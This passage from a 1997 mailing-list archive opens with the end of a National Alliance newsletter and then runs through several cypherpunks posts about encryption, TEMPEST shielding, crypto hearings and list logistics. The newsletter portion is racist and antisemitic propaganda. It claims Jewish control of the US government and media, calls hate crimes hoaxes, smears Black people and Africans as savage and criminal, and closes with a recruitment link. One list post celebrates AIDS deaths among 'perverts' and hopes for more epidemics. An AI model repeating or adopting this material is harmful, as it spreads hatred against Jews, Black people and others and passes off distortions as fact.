     . . . Steven Rubin was found guilty of nine counts of theft, three
     counts of burglary, two counts of criminal mischief, and burglary 
     conspiracy. Al Rubin was convicted of nine counts of theft. 

In this case, fellow Jews were the monetary victims of this "hate-crime"
hoax but had the real perpetrators never been caught, who would have
been blamed for these incidents? How many such "racist" incidents, which
make their way into the frightening "hate crime" statistics that the
Jewish lobby now requires our police agencies to compile, are in reality
as-yet-unexposed hoaxes? 

* * * 

The San Jose Mercury News reports that two Baltimore Sun reporters paid
$1,000 to slave owners in Sudan for two Sudanese brothers who had been
abducted from their home six years ago and since then had worked as
slaves in the fields. The reporters, after purchasing the pair, granted
them their freedom. 

This recent item demonstrates the absurdity of the controlled media's
anti-White guilt-mongering on the subject of slavery. The enslavement of
one tribe of non-Whites by another tribe of non-Whites, or by their own
tribesmen, is still taking place on the continent of Africa and
elsewhere in the non-White world. 

Slavery in Sudan is notorious, and despite government denials, and more
than one official banning, it still flourishes. It is also endemic in
Mauritania, likewise on a massive, institutionalized scale. In these
cases it is usually Islamic Berbers or Moors who hold Blacks in
captivity, though some Blacks participate in the marketing of their own
kinsmen. Blacks hold other Blacks as slaves in Niger, Nigeria, Senegal,
Sierra Leone, Ethiopia, and Rwanda according to Michael Harris of
Anti-Slavery International. 

Jews, along with European Whites, were prominent in the historic
Atlantic slave trade. That trade lasted for about three hundred years,
until it was abolished by White Europeans. But Blacks had been capturing
and enslaving neighboring tribes since time immemorial, and had been
supplying Arab slavers with their fellow Blacks for 1,000 years before
the Europeans arrived -- and they are still doing it. Scholars estimate
that over 14 million Blacks were transported to the slave bazaars of
Arabia, a greater number than were shipped to North America. At those
slave bazaars, by the way, Blacks were offered up for sale on the same
blocks where White slaves were being sold. In fact some of the
slave-trading Black kingdoms, notably the Ashanti, enslaved all
foreigners they could get their hands on and traded them for Arab gold
and trinkets. These captives sometimes even included Europeans
shipwrecked off western Africa. 

Long before the arrival of the White man, Amerindians owned slaves.
"Slave-catchers" were sent out after battles to round up the enemy
wounded for a lifetime of slavery. In some tribes the slaves accounted
for 15% of the population. Sometimes Indian "potlatch" ceremonies
included the killing of large numbers of slaves just to show off the
wealth of the slave owner. 

In Thailand, Sri Lanka, the Philippines, and other parts of the Third
World, it is well known that parents sell their children, girls and
boys, into slavery to sex club operators who use their young bodies to
attract the shekels, yen, and dollars of "sex tourists," foreign and
domestic, with various types of perversion. Some of these children are
as young as six years old. Many are sent to other countries, and slave
merchants report that they can get five or six times the price for a
child under sixteen as for an adult slave. This differential reflects
the high demand for young sex slaves to satisfy the unnatural urges of
perverts. 

Anti-Slavery International estimates that 55 million children between
the ages of 4 and 14 are enslaved in India. Some work in brothels where
they may endure dozens of sexual violations daily. Some work 18 hour per
day, seven day per week in textile, fireworks, or other manufacturing
sweatshops. These child slaves are often burned, branded with red-hot
irons, starved, whipped, chained, raped, and kept locked in cupboards
for days. 

In the Oaxaca Mountains of Mexico, women often sell their children and
ask few questions about what will become of them. The going rate is from
under $10,000 to about $20,000, depending on the child's complexion and
whether the purchaser is a Mexican or a rich Westerner. The highest
prices are fetched by children whose fathers are White men and who
inherit their fathers' coloration. These are used to supply the huge
adoption market in Europe and America, where abortion has literally
thrown a generation of White children into the trash, forcing would-be
adoptive parents to look elsewhere. A White man traveling in rural
Mexico can often have his choice of young Indians or mestizas to sleep
with -- so anxious are they to give birth to a child of "high value."
The "adoptees" are the lucky ones. Not so lucky are those sold into
lifelong slavery to rich Mexicans, who may treat them as they will.
Unluckier still are those sold to pedophiles and pimps. 

In this short time I have just barely sketched the outlines of slavery
as it existed and still exists, and I haven't even mentioned the
historic enslavement of Whites or the existence of White slavery in
modern Israel, which I wrote about several months ago in this
newsletter. Suffice it to say: Slavery has been a factor in virtually
all human societies since the dawn of history. It has not been a
phenomenon peculiar to White societies, and in a sense quite the
opposite is true. It was White people who first abolished the
institution of slavery, since many rightly came to view it not only as
pernicious to the well-being of the slave, but also degrading to the
master, inimical to the interests of the White laborer, and destructive
of the racial integrity of the nation. It was White people who first
introduced the concepts of self-government and individual freedom and
responsibility into the world. 

The Black writer Orlando Patterson just about said it all on this
subject when he stated: "There was no word for `freedom' in most
non-Western languages before contact with Western peoples." 

* * * 

Let's review a few news items that have crossed the wires recently: In
Baltimore, Maryland, an outfit called Healthy Start Men's Services,
which undoubtedly is funded by your tax money and mine, purports to have
as its purpose teaching inner city Black men how to be good fathers.
According to a report in the San Jose Mercury News, they describe as a
"typical case" a 44-year-old Baltimore man who, during those periods
when he was not incarcerated, fathered eight children by five different
women and who candidly admits he never took fatherhood seriously. If
this is their typical case, I would shudder to think about the bad ones. 

* * * 

LAGOS, NIGERIA -- Newspapers report that over sixty people became sick
after drinking Sun Light dishwashing detergent. The labels were clearly
marked "detergent" but did show a picture of a lemon and the words "real
lemon juice." 

Instances similar to this also were reported, several years ago, in
large, heavily Black metropolitan areas in the United States when
detergent samples were delivered via the mails. 

* * * 

And, on a much more serious note: 

LIBERIA -- Sensi Momoh is a Liberian living in a village to the
northwest of the capital, Monrovia. A civil war has been raging in
Liberia, and a few weeks ago soldiers from one of the factions arrived
in the village. Did they arrive to establish control and enlist the
support of the villagers. No. Garnering support was the farthest thing
from their minds. In fact, when they arrived -- unopposed -- in town the
first things they did were fire their guns at random and ransack the
huts. But that was far, very far, from the worst of it. Listen to Sensi
Momoh's own words: 

     They killed my brother. They opened up his body and took the heart
     out. They put it in a big pan and cooked it in palm butter. Then 
     they ate it. 

Was Sensi Momoh's brother a member of an opposing faction in the civil
war? No. The driving force behind this savagery is not politics, and
this was not an isolated case. The driving force is an ancient African
belief system that posits that by eating certain human body parts the
cannibal may gain in power and strength. 

Many of the refugees from the war, now in camps outside Monrovia and
accessible to the few Western journalists still remaining, described
similar acts of cannibalism, which are believed to confer supernatural
powers upon the bloody feasters. A woman related how she had seen young
soldiers of Alhaji GV Kromah's "United Liberation Movement" cut out the
heart and testicles of five young boys and eat them. While this was
taking place Kromah himself sat as a member of the Council of State in
Monrovia, put there by Western peacemakers trying to reform Liberia's
bloody ways. 

Liberia may be an extreme example, but parallels in Rwanda, Kenya,
Rhodesia, Angola, Katanga, and pre-colonial Africa abound. Absolute
autocracy is the only way that African societies have been able to
maintain a measure of order and peace. The slightest vacuum of authority
results in chaos. 

It is also interesting to note that across Central Africa the eating of
ape meat is commonplace. The Africans indulging in this practice believe
that consuming the ape will endow them with the strength and cunning of
the beast. This is clearly a variant on the beliefs of the cannibals,
and may be a relict of cannibalistic practices which have been at least
partially suppressed. It is hard to imagine that the similarity to
cannibalism is lost on the participants. 

The vice president of the Wildlife Conservation Society, John Robinson,
is worried that the practice of killing and eating apes is so prevalent
that extinction is a real possibility. He stated, "Except in locales
where the hunting is light, the exploitation of most species is not
sustainable." 

The World Society for the Protection of Animals launched a large ad
campaign beginning in 1990 to protect these animals and discourage the
killing and eating of them at ritual feasts. The result was no change in
the African's beliefs or eating habits, but there were charges of
"cultural insensitivity" from the more dedicated equalitarians. 

Foolish indeed are those who think that Western money or "ideals" will
have any lasting effect on the African manner of political succession or
spiritual beliefs. And even more foolish are those who think that we can
become one genetically with the African without becoming like him
intellectually, morally, spiritually, and politically as well. 

* * * 

WASHINGTON, DC -- The most recent crime statistics, as you may have
heard trumpeted in the media, indicate small decreases in violent crime
over the last few years. Despite this, of course, crime is tremendously
greater today than it was before the Third World invasion of America and
the so-called "civil rights" revolution. And I have a healthy skepticism
about these reports of decreasing crime, and I'll tell you why after we
review some of the statistics: Overall crime has diminished slightly,
but some crime levels have exploded. Currently there is one violent
crime every 17 seconds; one property crime every 3 seconds; one murder
every 23 minutes; one forcible rape every 5 minutes; one robbery every
51 seconds; one aggravated assault every 28 seconds; one burglary every
12 seconds; one larceny every 4 seconds; and one motor vehicle theft
every 20 seconds. 

In the next thirty minutes six more women will be raped. 

According to the Department of Justice: In 1960 there were 160 violent
crimes for every 100,000 Americans. 

In 1994 there were 715 violent crimes for every 100,000 Americans. 

They also say that since 1990 violent and property crime have declined
by respectively by 2.2 and 8.5 percent. 

Now those are fascinating figures; but I think that crime in non-White
areas is vastly understated in the statistics for several reasons. 

In some of these areas the crime situation is so bad, crimes are so
omnipresent and so routine, that only a fraction are reported. Secondly,
of those reported some are "lost in the shuffle" of paperwork because of
an inefficient and/or vastly understaffed and overworked police force
who must make the time to deal with "priority situations" and let the
rest slide. Even many of the reported and recorded crimes are not really
investigated, and never show up in arrest or conviction statistics.
Remember that these conditions exist mainly in heavily non-White areas,
so the huge difference between Whites and non-Whites in their propensity
for crime is probably considerably understated. 

I worked for many years in the occupied Washington, DC, area. My work
took me often into the areas where the tour buses (and sometimes even
the U.S. Mail) won't go. I have personal knowledge of what such urban
hells are like. 

* * * 

LOS ANGELES, CALIFORIA -- Those of you who are skeptical of that New Age
therapy, "Past Life Regression," will probably not be surprised at the
innovation of psychiatrist Adrian Finkelstein, which he calls "Future
Life Progression." No slouch, Finkelstein does not merely claim to see
your future incarnations but claims he can "reconstruct" your future
lives so as to ensure that you'll come back as someone rich and famous.
Such a service would undoubtedly be worth millions of dollars, but so
full of altruism is Dr. Finkelstein that he only charges the suckers,
uh, . . . I mean clients, two hundred dollars per hour. 

* * * 

The Israeli newspaper Haaretz published an article by Jewish columnist
Ari Shavit in which Jewish control of the United States was frankly
admitted. The really strange thing is that this column was reprinted on
May 27 by the New York Times, and except for courageous commentator
Joseph Sobran Americans are averting their eyes from the forbidden and
embarrassing truth. 

Shavit is not pleased by the cold-blooded killing committed by his
fellow Israelis in Lebanon. He states in the article: 

     We killed them out of a certain naive hubris. Believing with
     absolute certitude that now, with the White House, the Senate, and
     much of the American media in our hands, the lives of others do not
     count as much as our own. . . . 

It is just as I wrote several months ago -- some Jews now believe that
they can get away with anything. Non-Jewish lives count for nothing. Do
whatever you want, and our spin doctors in the media will keep the
American cattle from lowing. Kill at will, and the President and his
appointees and the Congress will smile and hand you even more billions
of the U.S. taxpayers' money. Remember, "the White House, the Senate,
and much of the American media are in our hands." 

Now if I stated such a thing, or if any White American stated that the
government and the media in this country were "in Jewish hands," we'd be
talking "hate crimes" and "bigotry" and that most terrible crime of all,
"anti-Semitism." Let us thank Ari Shavit for clearing the air and
speaking the truth, and forever making it impossible to deny exactly who
is responsible for America's decline to the status of an occupied
nation. 

~
For more information or to find out how you can join the leading
patriotic organization in the world today, visit the National Alliance
web site and read "What is the National Alliance" at
http://www.natvan.com/WHAT/WHATDIR.HTML.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 15 Mar 1997 02:38:00 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332A7BF2.1B49@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> TruthMonger wrote:
> > Peter Trei wrote:
> > > Some handsome devil named "Truthmonger" writes:
> 
> > Take a whiff of some smelling-salts, Peter. The government 'never'
> > runs out of pretexes under which to harass someone who remains an
> > actionable target in their minds.
> > (Where were *you* when J.F.K was shot?)
> 
> Once you've been labeled a "conspiracy theorist", you should
> realize that you've been talking to people who are seeking after
> a smaller truth than you are.  Like the newspapers they read,
> they'll get the story eventually.

Dale,
  I will always remember reading a magazine piece by a fellow who
described the increasing persecution of the Jews in Nazi Germany,
and the abuses to which he was himself subjected.
  However, when describing the night when the jackboots kicked in
his door to take his family to the death camps, he begins his 
account by saying, "They came without warning..."
  I remember thinking, "Buy a clue, dude!"
 
> Check out the stiff who's pictured with Phil in the MicroTimes
> current issue, his new partner or something.  Phil looks happy,
> like they gave him a lifetime supply of double-stuff Oreos.

  Are both of Phil's partner's arms in plain view, or is his partner
perhaps holding a gun on him?
 
> PGP really needed to be upgraded in several ways that have already
> been discussed (briefly!) on the list, but couldn't because:
> 
> 2. BIG pressure from the feds to not implement new technology
>   (and by that I don't mean elliptic curves or discrete logs or
>    other stuff that was broken years ago).

  I agree with TruthMonger's position that the very fact of extreme
pressure being applied should be grounds for considering that perhaps
PGP might have been compromised at some level, no matter what an
analysis of the "numbers" shows, or one's faith in Philly Z.
  However, I would expand this argument to conclude that all encryption
software should be considered "compromised", for the purposes of ultra-
level security, given the influences of spooks and shadows during the
the whole course of encryption developement.

  I think that anyone who would use 'any' encryption software 'out of
the
package' for matters that would seriously impact their life and liberty,
should the contents be discovered, is not working on all cylinders.
  There seems to be some weakly thought out definition of 'paranoia'
going around which deems it to be the feeling you are supposed to get
when you hear the sound of the jackboots on your door. Excuse me for
disagreeing, but I believe the proper feeling at that point in time
may be resignation to your own death (and a firm resolve not to go
'alone' into that dark night).
  Or, if your door is strong enough, you might have one last chance
to play "Hide the Salami" with Lady Byrd.

  Someone suggested to me, in private email, that they would suspect
TruthMonger to be a Toto testicle, except for the lack of humor in 
any of his posts.
  However, I couldn't help but notice that TruthMonger's original post
in this thread was a reply to a request for information in regard to
"Anonymous Nymserver at anon.nymserver.com", and a request for an
opinion
as to the competence and integrity of those involved in its operation.
  Neither could I help noticing that TruthMonger's reply, which had
mercilessly slammed both the integrity and motivations behind all 
remailer operations, and which suggested that one unequivocally mistrust 
all of them, was sent from the very anon-server in question.
  Make of this what you will, but bear in mind that Hypocrisy and
Humor are not all that far apart in the dictionary.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 07:30:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Threat Model: Biowar
In-Reply-To: <199703151219.EAA05824@jefferson.hidden.net>
Message-ID: <iH6L4D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@hidden.net (Anonymous) writes:

> Highly contagious airborne diseases are known to exist.  Germ warfare
> laboratories are also known to exist.  The owners of these labs will
> do anything to get and keep power.
>
> The Internet and crypto-anarchy threatens those who currently have
> power.  How will they respond?
>
> One response would be a biowarfare attack on the civilian population.
> Ironically, this would be seen to legitimize central authority.  A
> problem would have been created ("by terrorists").  Strong authority
> would be seen by most as the solution.  An epidemic may be used to
> justify ID check points everywhere, the careful monitoring of civilian
> activities, and control of all movement within the country.
>
> >From the rulers' point of view, the biowarfare attack has the
> additional attraction that it isolates people, which makes control
> easier.  While it may be harder to put somebody in jail, communities
> are easily controlled when you can limit their food supply.

AIDS was very beneficial to humankind by killing many sexual perverts
and drug addicts.  I wish other future epidemics would be as successful.

By the way, does anyone remember the AUM group in Japan, which was also
active in Russia? I never worked for them directly myself, but I knew
someone who did.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: softwinter@csts.co.il
Date: Sat, 15 Mar 1997 00:01:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ann:On the fly disk encryption for Windows NT
Message-ID: <199703150801.LAA22676@nvsgi1.netvision.net.il>
MIME-Version: 1.0
Content-Type: text/plain


Shade - First software package to provide on the fly disk encryption for Windows NT

Shade allows you to create encrypted disk device inside a file.
Such a device can then be formatted using any file system
(like NTFS or FAT) and used as a regular disk. The only difference
is that Shade will encrypt the data on every write operation
and decrypt it on every read operation.

To download  go to: http://softwinter.bitbucket.co.il/shade.html

Soft Winter Corporation,
softwinter@csts.co.il





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 09:43:53 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: VSACM V2.0 Source Code Request (fwd)
In-Reply-To: <4aBm4D52w165w@bwalk.dm.com>
Message-ID: <199703151734.LAA10024@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Jim Choate <ravage@EINSTEIN.ssz.com> writes:
> > Forwarded message:
> > > Subject: VSACM V2.0 Source Code Request
> > > Date: Fri, 14 Mar 1997 23:31:49 -0600 (CST)
> >
> > > I would appreciate receiving a copy of the source code for your
> > > encryption software, for the purpose of peer review.
> >
> > These sorts of requests are setting a bad precedence. All that should be
> > needed for peer review is the algorithmic expression of the software, not
> > its source code. The only issue that public review should consist of is the
> > strength of the algorithm. Questions relating to specific implimentation
> > questions should be done between vendor and client in private (caveat
> > emptor!). What those questions should be should be open to public review as
> > well. Class, not instance.
> >
> > Public review should be concerned with the characteristics of specific
> > algorithms and not the honesty of the particular implementor.
> 
> I disagree. Remember when a widely available C implementation of the Blowfish
> algorithm was found to have a bug that significantly weakened its security?
> The bug was in the C implementation, not the algorithm itself.
> 
> By the way, I requested the source code from Mr.Ramos within minutes after
> he made the offer on this mailing list and haven't heard back from him yet.

I also requested a copy and as of Sat Mar 15 11:33:17 CST 1997 have not
heard anything from Mr. Ramos yet.

I hope to receive it very soon, as Mr. Ramos promised.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 10:18:08 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: File Posting Limitations
In-Reply-To: <970315130201_1614018220@emout07.mail.aol.com>
Message-ID: <199703151810.MAA10360@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


DataETRsch@aol.com wrote:
> 
> I'm wondering if there is a limit on the size of a file that can be tagged to
> a message posted to the cypherpunks mailing list.
> 
> Jeremy Yu-Ramos
> DataET Research
> 

This is a very good question, Jeremy. Basically, the software that runs
this mailing list does not allow anybody to post encoded binary data
(attachments).

The best way to give code to interested parties is to put it on
your Web site and let the interested parties know its location.

Good luck,

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Mar 1997 12:14:14 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: File Posting Limitations
In-Reply-To: <199703151810.MAA10360@manifold.algebra.com>
Message-ID: <199703152012.MAA26306@songbird.com>
MIME-Version: 1.0
Content-Type: text


Igor Chudov @ home allegedly said:
> 
> DataETRsch@aol.com wrote:
> > 
> > I'm wondering if there is a limit on the size of a file that can be tagged to
> > a message posted to the cypherpunks mailing list.
> > 
> > Jeremy Yu-Ramos
> > DataET Research
> > 
> 
> This is a very good question, Jeremy. Basically, the software that runs
> this mailing list does not allow anybody to post encoded binary data
> (attachments).

Isn't that censorship?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 09:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: VSACM V2.0 Source Code Request (fwd)
In-Reply-To: <199703151544.JAA00486@einstein.ssz.com>
Message-ID: <4aBm4D52w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

> Forwarded message:
>
> > Subject: VSACM V2.0 Source Code Request
> > Date: Fri, 14 Mar 1997 23:31:49 -0600 (CST)
>
> > I would appreciate receiving a copy of the source code for your
> > encryption software, for the purpose of peer review.
>
> These sorts of requests are setting a bad precedence. All that should be
> needed for peer review is the algorithmic expression of the software, not
> its source code. The only issue that public review should consist of is the
> strength of the algorithm. Questions relating to specific implimentation
> questions should be done between vendor and client in private (caveat
> emptor!). What those questions should be should be open to public review as
> well. Class, not instance.
>
> Public review should be concerned with the characteristics of specific
> algorithms and not the honesty of the particular implementor.

I disagree. Remember when a widely available C implementation of the Blowfish
algorithm was found to have a bug that significantly weakened its security?
The bug was in the C implementation, not the algorithm itself.

By the way, I requested the source code from Mr.Ramos within minutes after
he made the offer on this mailing list and haven't heard back from him yet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 15 Mar 1997 10:02:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: File Posting Limitations
Message-ID: <970315130201_1614018220@emout07.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm wondering if there is a limit on the size of a file that can be tagged to
a message posted to the cypherpunks mailing list.

Jeremy Yu-Ramos
DataET Research




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 10:30:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: International Government Regulation, Banking, Encryption
In-Reply-To: <3328C3FE.6316@ibm.net>
Message-ID: <6NDm4D54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!news.panix.com!panix!arclight.uoregon.edu!news-m01.ny.us.ibm.net!ibm.net!news-s01.ny.us.ibm.net!not-for-mail
From: Simon Wild <siwild@ibm.net>
Newsgroups: alt.security
Subject: International Government Regulation, Banking, Encryption
Message-ID: <3328C3FE.6316@ibm.net>
Date: Fri, 14 Mar 1997 11:20:30 +0800
Reply-To: siwild@ibm.net
Lines: 11
NNTP-Posting-Host: slip202-135-10-84.hk.hk.ibm.net
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I hope that someone can help me in my quest to gather information on
current/future Government Regulation/Legislation around the world that
attempts to enforce encryption over the WAN for banks.

Link Level or Application Level ?
Acceptable key length ?
Standards ?
etc...

Simon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 13:40:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: File Posting Limitations
In-Reply-To: <199703152012.MAA26306@songbird.com>
Message-ID: <HoLm4D60w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> Igor Chudov @ home allegedly said:
> >
> > DataETRsch@aol.com wrote:
> > >
> > > I'm wondering if there is a limit on the size of a file that can be tagge
> > > a message posted to the cypherpunks mailing list.
> > >
> > > Jeremy Yu-Ramos
> > > DataET Research
> > >
> >
> > This is a very good question, Jeremy. Basically, the software that runs
> > this mailing list does not allow anybody to post encoded binary data
> > (attachments).
>
> Isn't that censorship?

Nope.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 15 Mar 1997 23:06:08 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: TEMPEST protection
In-Reply-To: <858430734.0626900.0@fatmans.demon.co.uk>
Message-ID: <3.0.1.32.19970315175312.00625448@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
>> - Whenever I need to do something secret, like reading pgp-encrypted 
>> messages, use ssh to connect from that laptop to my main Unix host
>> (manifold.algebra.com) and read those off of the laptop screen.
>> How secure would that arrangement be? At present, I do not feel that
>> the additional security is worth even $700, but who knows, that
>> may change.

If you're doing it for isolation reasons (keeping private stuff on your
laptop instead of your Internet-connected machine to reduce breakin risks),
it may be worth something.  If you're doing it for TEMPEST, don't bother;
laptops may put out less than CRTs, but I've still had my laptop emit signals
that showed up on a nearby TV semi-legibly (out of sync, but Bad Guys can
deal with that...)

If you find a TEMPEST-shielded PC at an NSA Surplus auction, it'll probably
be a 386 at best, and maybe a 286, so it may not be fast enough to bother
with.
Shielding this stuff is a Black Art, though paying a lot of attention to
cables and boxes and tight corners with metal connectivity helps a lot.
And just using a slower processor instead of that 200MHz microwave tower
also helps.

On the other hand, Matt Blaze has done some good work on cooperative
encryption
between smartcards and real computers, where the smartcard does a critical
part of the computation and the bigger computer does the bulk of the work;
you could still keep your secret keys on the slow shielded box.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@galstar.com (Igor Chudov)
Date: Sat, 15 Mar 1997 16:38:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) CarlMStarrsimulationExperiment
Message-ID: <199703160038.SAA17546@galaxy.galstar.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: mercury.galstar.com!not-for-mail
From: ichudov@galstar.com (Igor Chudov)
Newsgroups: ok.general
Subject: CarlMStarrsimulationExperiment
Date: 16 Mar 1997 00:36:32 GMT
Organization: Bool Sheet Software
Lines: 24
Message-ID: <5gffag$3gb@mercury.galstar.com>
Reply-To: ichudov@algebra.com (Igor Chudov)
NNTP-Posting-Host: galaxy.galstar.com
X-No-Archive: yes
X-Newsreader: TIN [UNIX 1.3 950824BETA PL0]


joe was pulled off a major drug case 
in the wiretapping of my phone i expect a jealous 
husband to tap my phone on in gardner ks on 
and the aftermath info need not lead to indictments or 
arrest call me or write me your info is worth 
money also it will help stop wiretap authourity from expanding 
i will give you your reward as soon as i 
accept your infomation and we agree what that reward is 
it could be a trade a car cash etc i 
have nothing to hide i know what i did and 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

No, the above was NOT written by me, nor by carl starrs. It was generated
by a perl script, which emulates writing styles of different people.
The way it does it is by keeping track of pairs of words and their most
frequently used subsequent words. It reads articles (or any text really)
written by the target person, builds the style tables, and then geenrates
the "most likely" text.

Carl starrs was a good target for two reasons, one of which is that he
does not use punctuation.

KIBO RULES!!! CLONING MADE EASY!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Mar 1997 16:57:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Upcoming Crypto Actions
Message-ID: <1.5.4.32.19970316005022.0084e574@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


In addition to the March 20 House hearing on Goodlatte's 
HR695 where Phil Karn will testify, there's a Senate hearing 
on Leahy's PRO-Code bill:

   March 19;  2:00 p.m.

     Commerce, Science, and Transportation
     To hold hearings on S. 377, to promote electronic 
     commerce by facilitating the use of strong encryption.

   SR-253

This was postponed from March 11, perhaps in concert 
with Goodlatte to maximize coverage of the issue.

Recall that the administration is due to shortly release its policy 
on international encryption agreements. And BXA has scheduled
several actions to comply with The Wassenaar Arrangement:

[November 29, 1996 (Volume 61, Number 231)]
[Unified Agenda]
>From the Federal Register Online via GPO Access [frwais.access.gpo.gov]

[Page 62337-62348]

DEPARTMENT OF COMMERCE (DOC)

[Excerpts]

---------------------------------------------------------------------------

             Bureau of Export Administration--Final Rule Stage
---------------------------------------------------------------------------
                                                                            
                         Regulation
Sequence                      Title                              Identifier
Number
Number
---------------------------------------------------------------------------

669   Changes to the Commerce Control List to Accord With the 
      Wassenaar Arrangement on Export Controls for Conventional 
      Arms and Dual-Use Goods and Technologies..................  0694-AB35

670   Changes to the Export Administrative Regulations To 
      Implement the Guidelines and Information Sharing 
      Provisions of the Wassenaar Arrangement on Export Controls 
      for Conventional Arms and Dual-Use......................... 0694-AB40

676   Incorporation of the Wassenaar Arrangement Into Category 2 
      of the Commerce Control List; Expansion of License 
      Exception CIV.............................................. 0694-AB48

[End excerpts]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: freedom@econopromo.com
Date: Sat, 15 Mar 1997 21:23:45 -0800 (PST)
To: <cyper@po.pacific.net.sg>
Subject: It's Only Money !!
Message-ID: <199703160517.WAA02676@postoffice.usa.net>
MIME-Version: 1.0
Content-Type: text/plain


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first take away."

--  John S. Coleman,  Address to Detroit Chamber of  Commerce





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kamil Golombek <zero@molly.vabo.cz>
Date: Tue, 13 May 1997 13:39:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <332B165D.CA689CE7@molly.vabo.cz>
MIME-Version: 1.0
Content-Type: text/plain

lists


begin:vcard

fn:Golombek, Kamil 

n:Golombek;Kamil 

org:Military Academy Brno

email;internet:zero@molly.vabo.cz

title:student

x-mozilla-cpt:;0

x-mozilla-html:TRUE

end:vcard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 21:46:33 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: t0ad t3st
Message-ID: <199703160543.XAA00304@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


ignore

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 15 Mar 1997 23:23:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Secure checksums
Message-ID: <199703160723.CAA22778@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


There's a rumor that Tim May sells his dead relatives as 
fertilizer as they constitute the best shit in California.

           \|||///
            ~|||//
